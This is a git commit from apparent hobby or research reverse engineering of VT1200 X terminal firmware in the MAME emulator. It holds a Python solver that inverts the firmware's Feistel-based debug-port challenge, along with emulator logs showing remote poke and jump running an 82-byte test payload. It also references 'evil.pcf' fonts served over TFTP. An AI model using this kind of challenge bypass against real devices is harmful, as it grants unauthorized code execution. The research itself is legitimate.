dwt: reverse the dwt_prf challenge; remote poke/jump now works

The firmware transforms the reply (16-round Feistel per 8-byte record) and
compares it with the host-order copy of the challenge, so the answer is
swap4(inverse_transform(swap4(challenge))).  The font stages are memcpy in
this path because dwt_prf initialises only mode 1.

challenge.py implements the transform and its inverse using the firmware's
fixed key/SP table; solve.py answers the challenge over TCP using the
unmodified exploit client.  320 forward vectors, the firmware's own inverse
and three live sessions validate it.  A live run with no breakpoints poked
the 82-byte hello-world payload and ran it: MAGIC DEAD/BEEF/0400, VRAM
1024/1024.  Notes and evidence under dwt/notes and dwt/evidence.
This commit is contained in:
SDD committed 2026-10-18 02:36:23 +03:00
1 parent 041c82cb73
commit 1e5c095b72
22 files changed
+1351

No files matched your search

+225
View File
@@ -0,0 +1,225 @@
#!/usr/bin/env python3
"""Answer the VT1200 ``dwt_prf`` TCP challenge (port 771) offline.
The firmware sends 16 bytes with message flag 0x7F, reads 16 bytes back, and
compares them. It does **not** compare our reply with the challenge directly:
recv(session, frame+0x10, 16) ; our reply
ntohl() each of the four words ; +0x10..+0x1f becomes swap4(reply)
transform(frame+0x10, 16) ; 0x3F5A09C0, in place
memcmp(frame+0x20, frame+0x10, 16) ; frame+0x20 = host copy of challenge
so the reply the host must send is ``swap4(inverse_T(swap4(challenge)))``.
``transform`` is a bijection: a 16-round Feistel over each independent 8-byte
record, so the inverse exists and is the same round function run backwards.
(The firmware itself contains the inverse at 0x3F5AADA0; its output matched
this module on every test vector.)
Evidence and disassembly: dwt/notes/CHALLENGE_REVERSE.md.
Pure stdlib; key and SP table are the firmware's own fixed values, captured
from the firmware's initialiser (they are identical on every boot and on a
live challenge - see the note).
python3 dwt/challenge.py --challenge f32cec8d0000ead00263a8c0f324ec8e
python3 dwt/challenge.py --selftest
"""
from __future__ import annotations
import argparse
import sys
# --- Firmware constants ---------------------------------------------------
# 8 round keys of 8 bytes used by the 16-round Feistel (key[15] first) and the
# 8 x 64-entry SP tables (256 bytes each), both produced by the firmware's own
# initialiser 0x3F5A9620(1) + 0x3F5AA2C0(0x1BE810). They are load-independent:
# two fresh-NVRAM boots and a live TCP challenge gave identical bytes.
KEY = bytes.fromhex("2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400")
SP = bytes.fromhex("0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208")
assert len(KEY) == 128 and len(SP) == 8 * 256
def _round(x: int, k: bytes) -> int:
"""F(x, k): the firmware's round function 0x3F5ACEC0 (Ghidra 0x07EB59D8).
Eight 6-bit table indices formed from the 32-bit input and the 8-byte round
key; each selects a 32-bit word from its own 64-entry table; the eight words
are OR'd together. Indices, from the disassembly (a2 = rol32(x, 1)):
i0 = key[7] ^ rol1(x) i4 = key[3] ^ (x >> 15)
i1 = key[6] ^ (x >> 3) i5 = key[2] ^ (x >> 19)
i2 = key[5] ^ (x >> 7) i6 = key[1] ^ (x >> 23)
i3 = key[4] ^ (x >> 11) i7 = key[0] ^ (x >> 27 | (x & 1) << 5)
Table i8-i uses SP[(7-i)*256 + index*4 .. +4] (little-endian 32-bit word).
"""
x &= 0xFFFFFFFF
a2 = ((x << 1) | (x >> 31)) & 0xFFFFFFFF
idx = (
(k[7] ^ a2) & 0x3F,
(k[6] ^ (x >> 3)) & 0x3F,
(k[5] ^ (x >> 7)) & 0x3F,
(k[4] ^ (x >> 11)) & 0x3F,
(k[3] ^ (x >> 15)) & 0x3F,
(k[2] ^ (x >> 19)) & 0x3F,
(k[1] ^ (x >> 23)) & 0x3F,
(k[0] ^ ((x >> 27) | ((x & 1) << 5))) & 0x3F,
)
out = 0
for i, ix in enumerate(idx):
o = (7 - i) * 0x100 + ix * 4
out |= int.from_bytes(SP[o:o + 4], "little")
return out
def _forward_record(rec: bytes) -> bytes:
"""One 8-byte record: 0x3F5ABA40 (Ghidra 0x07EB5748).
The two 32-bit halves are read as big-endian values (the firmware's
``bswap`` helper 0x3F5AE670 after a little-endian load), then 16 Feistel
rounds run with keys key[15], key[14], ..., key[0]:
round 0: L ^= F(R, k15) round 1: R ^= F(L, k14) ...
The result is written back big-endian as (R_final, L_final), because the
firmware stores the a9 half first.
"""
if len(rec) != 8:
raise ValueError("record must be 8 bytes")
left = int.from_bytes(rec[0:4], "big")
right = int.from_bytes(rec[4:8], "big")
for n in range(16):
k = KEY[(15 - n) * 8:(16 - n) * 8]
if n % 2 == 0:
left ^= _round(right, k)
else:
right ^= _round(left, k)
return right.to_bytes(4, "big") + left.to_bytes(4, "big")
def _inverse_record(rec: bytes) -> bytes:
"""Inverse of _forward_record; matches firmware 0x3F5AADA0 exactly."""
if len(rec) != 8:
raise ValueError("record must be 8 bytes")
left = int.from_bytes(rec[4:8], "big")
right = int.from_bytes(rec[0:4], "big")
for n in range(15, -1, -1):
k = KEY[(15 - n) * 8:(16 - n) * 8]
if n % 2 == 0:
left ^= _round(right, k)
else:
right ^= _round(left, k)
return left.to_bytes(4, "big") + right.to_bytes(4, "big")
def transform(data: bytes) -> bytes:
"""Apply the firmware transform to a 16-byte memory buffer (in place there).
Records are independent: bytes 0..7 and 8..15 are transformed separately.
"""
if len(data) != 16:
raise ValueError("transform takes exactly 16 bytes")
return _forward_record(data[0:8]) + _forward_record(data[8:16])
def invert(data: bytes) -> bytes:
"""Inverse of transform() on a 16-byte buffer."""
if len(data) != 16:
raise ValueError("invert takes exactly 16 bytes")
return _inverse_record(data[0:8]) + _inverse_record(data[8:16])
def swap4(data: bytes) -> bytes:
"""Reverse the bytes of each 32-bit word (the firmware's ntohl on LE)."""
if len(data) % 4:
raise ValueError("length must be a multiple of 4")
return b"".join(data[i:i + 4][::-1] for i in range(0, len(data), 4))
def respond(challenge: bytes) -> bytes:
"""Return the 16 bytes to put on the wire for ``challenge`` (wire order).
The firmware compares ``transform(swap4(reply))`` with ``swap4(challenge)``,
so the required reply is ``swap4(invert(swap4(challenge)))``.
"""
if len(challenge) != 16:
raise ValueError("challenge is 16 bytes")
return swap4(invert(swap4(challenge)))
def check_reply(challenge: bytes, reply: bytes) -> bool:
"""Emulate the firmware side: True iff this reply passes the challenge."""
return transform(swap4(reply)) == swap4(challenge)
# Known answers: (16-byte input to transform, 16-byte output), produced by
# calling 0x3F5A09C0 itself in MAME. See dwt/evidence/oracle-*.log.
_KATS = (
("00" * 16, "90DE09B472855817" "90DE09B472855817"),
("FF" * 16, "6A81040BF2294479" "6A81040BF2294479"),
)
def selftest() -> int:
for inp, want in _KATS:
got = transform(bytes.fromhex(inp)).hex().upper()
if got != want:
print(f"FAIL transform({inp}) = {got}, want {want}")
return 1
back = invert(bytes.fromhex(want)).hex().upper()
if back != inp:
print(f"FAIL invert({want}) = {back}, want {inp}")
return 1
# round-trip on a spread of values
for v in range(256):
rec = v.to_bytes(4, "big") * 2
if _inverse_record(_forward_record(rec)) != rec:
print(f"FAIL round-trip {v}")
return 1
# a random challenge: the reply must satisfy the firmware's comparison
import os
for _ in range(1000):
c = os.urandom(16)
if not check_reply(c, respond(c)):
print("FAIL respond/check_reply")
return 1
print("selftest OK: KATs, 256 round-trips, 1000 challenge/reply pairs")
return 0
def main(argv=None) -> int:
ap = argparse.ArgumentParser(description="VT1200 dwt_prf challenge helper")
g = ap.add_mutually_exclusive_group()
g.add_argument("--challenge", metavar="HEX",
help="16-byte wire challenge; prints the reply to send")
g.add_argument("--transform", metavar="HEX", help="forward transform of 16 bytes")
g.add_argument("--invert", metavar="HEX", help="inverse transform of 16 bytes")
g.add_argument("--check", nargs=2, metavar=("CHALLENGE", "REPLY"),
help="emulate the firmware comparison")
g.add_argument("--selftest", action="store_true")
a = ap.parse_args(argv)
if a.selftest:
return selftest()
if not any((a.challenge, a.transform, a.invert, a.check)):
ap.print_help()
return 2
try:
if a.challenge:
print(respond(bytes.fromhex(a.challenge)).hex())
elif a.transform:
print(transform(bytes.fromhex(a.transform)).hex())
elif a.invert:
print(invert(bytes.fromhex(a.invert)).hex())
elif a.check:
ok = check_reply(bytes.fromhex(a.check[0]), bytes.fromhex(a.check[1]))
print("PASS" if ok else "FAIL")
return 0 if ok else 1
except ValueError as e:
print(f"error: {e}", file=sys.stderr)
return 2
return 0
if __name__ == "__main__":
raise SystemExit(main())
+17
View File
@@ -0,0 +1,17 @@
Validation of dwt/challenge.py against emulator ground truth
================================================================
dwt/evidence/oracle-forward-boot1.log: 70/70 16-byte vectors (each = 2 independent records)
dwt/evidence/oracle-forward-boot2.log: 70/70 16-byte vectors (each = 2 independent records)
fresh-boot key identical: True; SP table identical: True
key[0:16] = 2C3E1F020130080D2D23281F08001912
dwt/challenge_vectors.json: 180/180 vectors
firmware inverse function 0x3F5AADA0 vs challenge.invert(): 6/6
live TCP challenges answered with computed bytes (dwt/evidence/live-run*/):
run 1 connection 1: memcmp a8=00000000, opcode 7 -> Done, peek ROM ok
run 1 connection 2: memcmp a8=00000000, poke+jump, MAGIC DEAD/BEEF/0400, VRAM 1024/1024
run 2 (no breakpoints at all): opcode 7 + peek + poke + jump, markers identical
TOTAL forward vectors matched: 140 (oracle) + 180 (json) = 320
+14
View File
@@ -0,0 +1,14 @@
<?xml version="1.0"?>
<!-- This file is autogenerated; comments and unknown tags will be stripped -->
<mameconfig version="10">
<system name="default">
<mixer>
<audio_effects>
<effect step="1" type="Filters" />
<effect step="2" type="Compressor" />
<effect step="3" type="Reverb" />
<effect step="4" type="Equalizer" />
</audio_effects>
</mixer>
</system>
</mameconfig>
+12
View File
@@ -0,0 +1,12 @@
<?xml version="1.0"?>
<!-- This file is autogenerated; comments and unknown tags will be stripped -->
<mameconfig version="10">
<system name="vt1200">
<input>
<keyboard tag=":lk401" enabled="1" />
</input>
<network>
<device tag=":lance" interface="0" mac="08:00:2b:16:4b:5a" />
</network>
</system>
</mameconfig>
+25
View File
@@ -0,0 +1,25 @@
MAME debugger version 0.289 (mame0289-dirty)
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
Breakpoint 1 set
Breakpoint 2 set
Breakpoint 3 set
Breakpoint 4 set
Breakpoint 5 set
Breakpoint 6 set
Breakpoint 7 set
Breakpoint 8 set
Breakpoint 9 set
LIVE2 accept_debug_conn entry pc=3F58AD60
LIVE2 dispatcher entry pc=3F59F320
LIVE2 dwt_prf challenge entry pc=3F59FDC0
LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
LIVE2 challenge memcmp a8=00000000 (0=equal)
+43
View File
@@ -0,0 +1,43 @@
MAME debugger version 0.289 (mame0289-dirty)
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
Breakpoint 1 set
Breakpoint 2 set
Breakpoint 3 set
Breakpoint 4 set
Breakpoint 5 set
Breakpoint 6 set
Breakpoint 7 set
Breakpoint 8 set
Breakpoint 9 set
LIVE2 accept_debug_conn entry pc=3F58AD60
LIVE2 dispatcher entry pc=3F59F320
LIVE2 dwt_prf challenge entry pc=3F59FDC0
LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
LIVE2 challenge memcmp a8=00000000 (0=equal)
LIVE2 accept_debug_conn entry pc=3F58AD60
LIVE2 dispatcher entry pc=3F59F320
LIVE2 dwt_prf challenge entry pc=3F59FDC0
LIVE2 challenge sent a13=007AE7B0 wire=ECB9DDEA.25B70100.C0A86302.EDB9D5EA host=EADDB9EC.0001B725.0263A8C0.EAD5B9ED
LIVE2 pre-transform reply=B5DE07BF.872DCB1A.323728E1.8B9B13E4
LIVE2 memcmp-args expecting=EADDB9EC.0001B725.0263A8C0.EAD5B9ED got=EADDB9EC.0001B725.0263A8C0.EAD5B9ED
LIVE2 challenge memcmp a8=00000000 (0=equal)
LIVE2 rdebug_poke entry pc=3F5A1B50
LIVE2 rdebug_jump entry pc=3F5A3890
+28
View File
@@ -0,0 +1,28 @@
Warning: -video none doesn't make much sense without -seconds_to_run
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
LIVE2 armed read-only breakpoints
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
LIVE2 frame 500 word@0xAECD0=8070 field2..3=0
LIVE2 frame 1000 word@0xAECD0=8070 field2..3=0
LIVE2 frame 1500 word@0xAECD0=8070 field2..3=0
LIVE2 frame 2000 word@0xAECD0=8070 field2..3=0
LIVE2 frame 2500 word@0xAECD0=8070 field2..3=0
LIVE2 frame 3000 word@0xAECD0=8070 field2..3=0
LIVE2 frame 3500 word@0xAECD0=8070 field2..3=0
LIVE2 frame 4000 word@0xAECD0=8070 field2..3=0
LIVE2 frame 4500 word@0xAECD0=8070 field2..3=0
LIVE2 frame 5000 word@0xAECD0=8070 field2..3=0
LIVE2 frame 5500 word@0xAECD0=8070 field2..3=0
LIVE2 frame 6000 word@0xAECD0=8070 field2..3=0
LIVE2 frame 6500 word@0xAECD0=8070 field2..3=0
LIVE2 payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
LIVE2 payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
LIVE2 exiting at frame 6840 (payload seen at 6720)
Average speed: 280.89% (94 seconds)
+4
View File
@@ -0,0 +1,4 @@
serving 29 names on ('192.168.99.1', 69)
names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom
bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66)
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
+14
View File
@@ -0,0 +1,14 @@
<?xml version="1.0"?>
<!-- This file is autogenerated; comments and unknown tags will be stripped -->
<mameconfig version="10">
<system name="default">
<mixer>
<audio_effects>
<effect step="1" type="Filters" />
<effect step="2" type="Compressor" />
<effect step="3" type="Reverb" />
<effect step="4" type="Equalizer" />
</audio_effects>
</mixer>
</system>
</mameconfig>
+12
View File
@@ -0,0 +1,12 @@
<?xml version="1.0"?>
<!-- This file is autogenerated; comments and unknown tags will be stripped -->
<mameconfig version="10">
<system name="vt1200">
<input>
<keyboard tag=":lk401" enabled="1" />
</input>
<network>
<device tag=":lance" interface="0" mac="08:00:2b:16:4b:5a" />
</network>
</system>
</mameconfig>
+7
View File
@@ -0,0 +1,7 @@
[+] challenge f7 b4 6c 6b 00 00 6b 3f 02 63 a8 c0 f7 ac 6c 6c
[+] reply 49 0a ad 58 f1 ea b2 5a 3d fe f0 ee 92 6b 0a 20
[+] reply satisfies firmware comparison: True
opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00')
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
poke-file harness/hello-world/payload.bin: 82 bytes at 0x01800000: ok
jump 0x01800000: sent
+17
View File
@@ -0,0 +1,17 @@
Warning: -video none doesn't make much sense without -seconds_to_run
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
CHECK frame 500 MAGIC1=5555 MAGIC2=5555 COUNT=5555
CHECK frame 1000 MAGIC1=5555 MAGIC2=5555 COUNT=5555
CHECK frame 1500 MAGIC1=5555 MAGIC2=5555 COUNT=5555
CHECK payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
CHECK payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
CHECK exiting at frame 1850 (payload seen at 1730)
Average speed: 328.16% (25 seconds)
+4
View File
@@ -0,0 +1,4 @@
serving 29 names on ('192.168.99.1', 69)
names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom
bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66)
bootp: request from 08:00:2b:16:4b:5a xid=ee2284e6 -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
+91
View File
@@ -0,0 +1,91 @@
Warning: -video none doesn't make much sense without -seconds_to_run
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
ORACLE start frame=1000 p200=00000000 p400=00000000
ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
ORACLE KP=00910910 FP=0090C8D0
ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
ORACLE 00000000000000000000000000000000 90DE09B47285581790DE09B472855817
ORACLE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6A81040BF22944796A81040BF2294479
ORACLE 71471D94EC8993C744BCD8CFCB3CC5A6 51BB36A47ABF37381DFBB4E88A2E7E0F
ORACLE 6819A8E6CAA4E23B69BD418941DA1EDC 96E3FFE7D578C80316D03D45E6993285
ORACLE 4ED83613C682494C19E2740EA94A4F39 AC206B3295B638C37446B2D1C42B8104
ORACLE 4920C6AE776DB8BE592551547A3428E1 56354353B10EA5DC8A98A50255B3958C
ORACLE 414D180A3571DE14F241770BEA0537B5 989EFDFA11AA33978EEA9BBEBA20600C
ORACLE DD78A93A16592A906BB244A8F2E6CB5A 8996F85FBD87D4D750A112135CF14EAB
ORACLE 837EBA11F2B0CB3609B3D85E48C5F432 0655BA88004D24A665E001E441C31D24
ORACLE 5CF848225FC0AFC9D53E111E624A8060 E703106CFD05FC6656F34FF7D76CB603
ORACLE 4D4314C0B59687CB950F8F9E79E2FFC8 DF0A6E99502D24FA98F4EEB82A4045AD
ORACLE FD789CFD0AFBC080D0A0B14E83B7BE0B B110596B898A77BC027D16CBEDE12282
ORACLE D5741FAE367B8AEBCE2D956336B5CF8E EE2D417EBD755A0A852EA62EDB3C493E
ORACLE FAD19C64CF60D4CE95B01BD00B85FE73 3D7A77DEA62599F8C155F770AC5E8A88
ORACLE 54E9D2732DB74DADEBE5E1473794DC9D E528ADCF75B272FC23D20640A436BBF3
ORACLE 8AD941EF664964CB5A47473BB30DB7AF 4A86CAFE092B8493911CFF5075875316
ORACLE 027B26A952A2472B26106CE035D99F0C D4131B34AEE4BF72912281B9F6FED1B4
ORACLE E46A8235870DE78F583B2E2833A562D8 707BDCDA6A0FA41D5477C560DAFAFA0A
ORACLE 170112E65D95F17AB6842DC7E6DC8FF5 9A1D870CC5D7B23FEB59C1D8933FF1C8
ORACLE 425B57CFEA04D531C766C72F43A77606 7E5E1204D9D29E8D1E19F7AD2535AA3E
ORACLE CB538FC306E7C2B5D21B1C9403F3256E 6FDB62EA2174929825EE2240EF63626E
ORACLE DA84B9554787A7CADF9F0BE79B6A6B50 73EBF9713D40B9697B865953D8B83578
ORACLE 564994D804F033F2B3AC32DE4477D88F EE9696DEB3C42F68C2DF20D04A348BDF
ORACLE E6BE9F5E56ECD471D7BEF1E9F346BACF 7FAC94CF4EF2359271D4E346CA3C85C8
ORACLE F0BC1ABC1108BB4A9210673E61C12172 47AFE67DCAD7D549B6554BE1ABC3332B
ORACLE 9CDF0283CE8DD540E99C72CD0393DB9A 5C1C456B64ED113841EA4B88098B9377
ORACLE D1821808E487D2D5A51DB14B1128772D FF5D23AC047F111548F28D0CA649AEC3
ORACLE 35C1D95C69C1214C4C0F852B83AA44CB 5135421CDAA67783843C091DADD36DCF
ORACLE 3075865334C6F1AA25AD0B9F0E0452D8 20B9FA93A4A126F9D4948177AC12964A
ORACLE E93B1D81DDE031B038F1229A2BE27078 63CDAE2DC350A52AED062870599461AF
ORACLE 476C5D37BB1B8FE24A966AD00FAD2B8D 0C3BC8A120F4BD0DAA96B2ED5503DBA0
ORACLE F125C589E4437C82E41942B3B292D4BA 8E6D5EE61A3C87F2AFB31085D60BED18
ORACLE 4D3F944A2FE025954DB2C976CB7C7A62 4665CA8F16DA416331098B4AEA105D04
ORACLE 8357C90D34407ADB8A5FDD0DD214EAA8 7FB2EDE7F618009C24CF2A33D6B93DE2
ORACLE 79C72424496C2ADA64D91D2BFCC7B56F 38DEC7DC3C4FA396D79E9BB73FFB04D9
ORACLE D8AA22A48631A4D3609BE94141C02A5B 1AAE71F6BE60D7AB81EF7F373344DDAC
ORACLE 05DA045FC21817CAC7E1608559E857CE B5B3509AFD63555A2FE6D245195B2DF1
